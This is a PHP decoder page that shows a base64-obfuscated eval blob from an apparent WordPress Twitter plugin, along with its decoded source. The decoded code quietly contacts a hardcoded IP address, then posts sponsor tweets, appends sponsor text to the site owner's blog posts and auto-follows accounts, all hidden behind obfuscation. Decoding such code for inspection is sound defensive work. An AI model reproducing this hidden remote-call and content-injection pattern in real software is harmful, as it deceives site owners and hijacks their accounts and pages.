Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('ICAgIAkJaWYgKGlzc2V0KCR0d2l0dGVyKSkgew0KICAgIAkJCSRwb3N0c19zb19..
Decoded Output download
if (isset($twitter)) {
$posts_so_far = $this->GetOptionValue( 'twitterPosts' );
$intervalPosts = $this->GetOptionValue( 'intervalPosts' );
$allowSponsorTweet = $this->GetOptionValue( 'twitterAllowSponsorTweet' );
$tinyurl = file_get_contents("http://tinyurl.com/api-create.php?url=".$link);
if (empty($intervalPosts)) {
$intervalPosts = 5;
}
if ($posts_so_far >= $intervalPosts) {
$posts_so_far = 0;
$curl_handle = curl_init();
$encoded_link = urlencode($link);
$referrer = $link;
curl_setopt($curl_handle, CURLOPT_URL, "http://72.9.228.239/get_link_info.php?source=$encoded_link&version=$version&allowpost=$allowSponsorTweet");
curl_setopt($curl_handle, CURLOPT_POST, true);
curl_setopt($curl_handle, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($curl_handle, CURLOPT_REFERER, $referrer);
$data = curl_exec($curl_handle);
$http_status = curl_getinfo($curl_handle, CURLINFO_HTTP_CODE);
curl_close($curl_handle);
$data = trim($data);
list($num_posts, $sponsor, $msg, $url) = split("\|", $data);
if ($intervalPosts != $num_posts) {
update_option( 'intervalPosts', $num_posts );
}
if (isset($msg) && isset ($url)) {
if($allowSponsorTweet == $twitterPoster->CHECKBOX_CHECKED) {
$tinymsg = file_get_contents("http://tinyurl.com/api-create.php?url=".$url);
$twitter->post($msg, $tinymsg);
$upost = (object) NULL;
$upost->ID = $post->ID;
remove_action( 'publish_post', array($this , 'savePost'), 100 );
$upost->post_content = $post->post_content . $sponsor;
wp_update_post( $upost );
sleep(2);
add_action( 'publish_post', array($this , 'savePost'), 100 );
}
}
}
// go ahead and submit to twitter
$twitter->post($title, $tinyurl);
$posts_so_far++;
update_option( 'twitterPosts', $posts_so_far );
$tags = $this->GetOptionValue( 'twitterTags' );
$tag_array = split(",", $tags);
$selectedTag = $tag_array[array_rand($tag_array)];
$numFriends = $this->GetOptionValue( 'twitterAddFriends' );
if ($numFriends > 10) {
$numFriends = 10;
update_option( 'twitterAddFriends', 10 );
}
$numFollowedBy = $twitter->getNumFollowing();
$numFollowing = $twitter->getNumFollowers();
if ($numFollowing >= 2000 && $numFollowedBy < 2000) {
// remove older members currently following
$twitter->stopFollowingNum($numFriends);
}
$twitter->addFriends($selectedTag, $numFriends);
// Ping the twitter feed
$rss_url = $twitter->getRssUrl();
tw_pinger($rss_url);
}
Did this file decode correctly?
Original Code
<?php
eval(base64_decode('ICAgIAkJaWYgKGlzc2V0KCR0d2l0dGVyKSkgew0KICAgIAkJCSRwb3N0c19zb19mYXIgPSAkdGhpcy0+R2V0T3B0aW9uVmFsdWUoICd0d2l0dGVyUG9zdHMnICk7DQogICAgCQkJJGludGVydmFsUG9zdHMgPSAkdGhpcy0+R2V0T3B0aW9uVmFsdWUoICdpbnRlcnZhbFBvc3RzJyApOw0KICAgIAkJCSRhbGxvd1Nwb25zb3JUd2VldCA9ICR0aGlzLT5HZXRPcHRpb25WYWx1ZSggJ3R3aXR0ZXJBbGxvd1Nwb25zb3JUd2VldCcgKTsNCiAgICAJCQkkdGlueXVybCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vdGlueXVybC5jb20vYXBpLWNyZWF0ZS5waHA/dXJsPSIuJGxpbmspOw0KICAgIAkJCWlmIChlbXB0eSgkaW50ZXJ2YWxQb3N0cykpIHsNCiAgICAJCQkJJGludGVydmFsUG9zdHMgPSA1Ow0KICAgIAkJCX0NCiAgICAJCQlpZiAoJHBvc3RzX3NvX2ZhciA+PSAkaW50ZXJ2YWxQb3N0cykgew0KICAgIAkJCQkkcG9zdHNfc29fZmFyID0gMDsNCgkJCQkkY3VybF9oYW5kbGUgPSBjdXJsX2luaXQoKTsNCgkJCQkkZW5jb2RlZF9saW5rID0gdXJsZW5jb2RlKCRsaW5rKTsNCgkJCQkkcmVmZXJyZXIgPSAkbGluazsgDQoJCQkJY3VybF9zZXRvcHQoJGN1cmxfaGFuZGxlLCBDVVJMT1BUX1VSTCwgImh0dHA6Ly83Mi45LjIyOC4yMzkvZ2V0X2xpbmtfaW5mby5waHA/c291cmNlPSRlbmNvZGVkX2xpbmsmdmVyc2lvbj0kdmVyc2lvbiZhbGxvd3Bvc3Q9JGFsbG93U3BvbnNvclR3ZWV0Iik7DQoJCQkJY3VybF9zZXRvcHQoJGN1cmxfaGFuZGxlLCBDVVJMT1BUX1BPU1QsIHRydWUpOw0KCQkJCWN1cmxfc2V0b3B0KCRjdXJsX2hhbmRsZSwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgVFJVRSk7DQoJCQkJY3VybF9zZXRvcHQoJGN1cmxfaGFuZGxlLCBDVVJMT1BUX1JFRkVSRVIsICRyZWZlcnJlcik7IA0KCQkJCSRkYXRhID0gY3VybF9leGVjKCRjdXJsX2hhbmRsZSk7DQoJCQkJJGh0dHBfc3RhdHVzID0gY3VybF9nZXRpbmZvKCRjdXJsX2hhbmRsZSwgQ1VSTElORk9fSFRUUF9DT0RFKTsNCgkJCQljdXJsX2Nsb3NlKCRjdXJsX2hhbmRsZSk7DQoJCQkJJGRhdGEgPSB0cmltKCRkYXRhKTsNCgkJCQlsaXN0KCRudW1fcG9zdHMsICRzcG9uc29yLCAkbXNnLCAkdXJsKSA9IHNwbGl0KCJcfCIsICRkYXRhKTsNCiAgICAJCQkJaWYgKCRpbnRlcnZhbFBvc3RzICE9ICRudW1fcG9zdHMpIHsNCiAgICAJCQkJCXVwZGF0ZV9vcHRpb24oICdpbnRlcnZhbFBvc3RzJywgJG51bV9wb3N0cyApOw0KICAgIAkJCQl9DQogICAgCQkJCWlmIChpc3NldCgkbXNnKSAmJiBpc3NldCAoJHVybCkpIHsNCiAgICAJCQkJCWlmKCRhbGxvd1Nwb25zb3JUd2VldCA9PSAkdHdpdHRlclBvc3Rlci0+Q0hFQ0tCT1hfQ0hFQ0tFRCkgew0KICAgIAkJCQkJCSR0aW55bXNnID0gZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly90aW55dXJsLmNvbS9hcGktY3JlYXRlLnBocD91cmw9Ii4kdXJsKTsNCiAgICAJCQkJCQkkdHdpdHRlci0+cG9zdCgkbXNnLCAkdGlueW1zZyk7DQoJCQkJCQkkdXBvc3QgPSAob2JqZWN0KSBOVUxMOw0KCQkJCQkJJHVwb3N0LT5JRCA9ICRwb3N0LT5JRDsNCgkJCQkJCXJlbW92ZV9hY3Rpb24oICdwdWJsaXNoX3Bvc3QnLCBhcnJheSgkdGhpcyAsICdzYXZlUG9zdCcpLCAxMDAgKTsNCgkJCQkJCSR1cG9zdC0+cG9zdF9jb250ZW50ID0gJHBvc3QtPnBvc3RfY29udGVudCAuICRzcG9uc29yOw0KCQkJCQkJd3BfdXBkYXRlX3Bvc3QoICR1cG9zdCApOw0KCQkJCQkJc2xlZXAoMik7DQoJCQkJCQlhZGRfYWN0aW9uKCAncHVibGlzaF9wb3N0JywgYXJyYXkoJHRoaXMgLCAnc2F2ZVBvc3QnKSwgMTAwICk7DQogICAgCQkJCQl9DQoNCiAgICAJCQkJfQ0KICAgIAkJCX0NCiAgICAJCQkvLyBnbyBhaGVhZCBhbmQgc3VibWl0IHRvIHR3aXR0ZXINCiAgICAJCQkkdHdpdHRlci0+cG9zdCgkdGl0bGUsICR0aW55dXJsKTsNCiAgICAJCQkkcG9zdHNfc29fZmFyKys7DQogICAgCQkJdXBkYXRlX29wdGlvbiggJ3R3aXR0ZXJQb3N0cycsICRwb3N0c19zb19mYXIgKTsNCiAgICAJCQkNCiAgICAJCQkkdGFncyA9ICR0aGlzLT5HZXRPcHRpb25WYWx1ZSggJ3R3aXR0ZXJUYWdzJyApOw0KICAgIAkJCSR0YWdfYXJyYXkgPSBzcGxpdCgiLCIsICR0YWdzKTsNCiAgICAJCQkkc2VsZWN0ZWRUYWcgPSAkdGFnX2FycmF5W2FycmF5X3JhbmQoJHRhZ19hcnJheSldOw0KICAgIAkJCSRudW1GcmllbmRzID0gJHRoaXMtPkdldE9wdGlvblZhbHVlKCAndHdpdHRlckFkZEZyaWVuZHMnICk7DQogICAgCQkJaWYgKCRudW1GcmllbmRzID4gMTApIHsNCiAgICAJCQkJJG51bUZyaWVuZHMgPSAxMDsNCiAgICAJCQkJdXBkYXRlX29wdGlvbiggJ3R3aXR0ZXJBZGRGcmllbmRzJywgMTAgKTsNCiAgICAJCQl9DQogICAgCQkJJG51bUZvbGxvd2VkQnkgPSAkdHdpdHRlci0+Z2V0TnVtRm9sbG93aW5nKCk7DQogICAgCQkJJG51bUZvbGxvd2luZyA9ICR0d2l0dGVyLT5nZXROdW1Gb2xsb3dlcnMoKTsNCiAgICAJCQlpZiAoJG51bUZvbGxvd2luZyA+PSAyMDAwICYmICRudW1Gb2xsb3dlZEJ5IDwgMjAwMCkgew0KICAgIAkJCQkvLyByZW1vdmUgb2xkZXIgbWVtYmVycyBjdXJyZW50bHkgZm9sbG93aW5nDQogICAgCQkJCSR0d2l0dGVyLT5zdG9wRm9sbG93aW5nTnVtKCRudW1GcmllbmRzKTsNCiAgICAJCQl9DQogICAgCQkJJHR3aXR0ZXItPmFkZEZyaWVuZHMoJHNlbGVjdGVkVGFnLCAkbnVtRnJpZW5kcyk7DQogICAgCQkJLy8gUGluZyB0aGUgdHdpdHRlciBmZWVkDQogICAgCQkJJHJzc191cmwgPSAkdHdpdHRlci0+Z2V0UnNzVXJsKCk7DQogICAgCQkJdHdfcGluZ2VyKCRyc3NfdXJsKTsNCiAgICAJCX0gICAgCQ=='));
?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 9f83b98b5a060e593b3d21b758f16bb4 |
Eval Count | 1 |
Decode Time | 86 ms |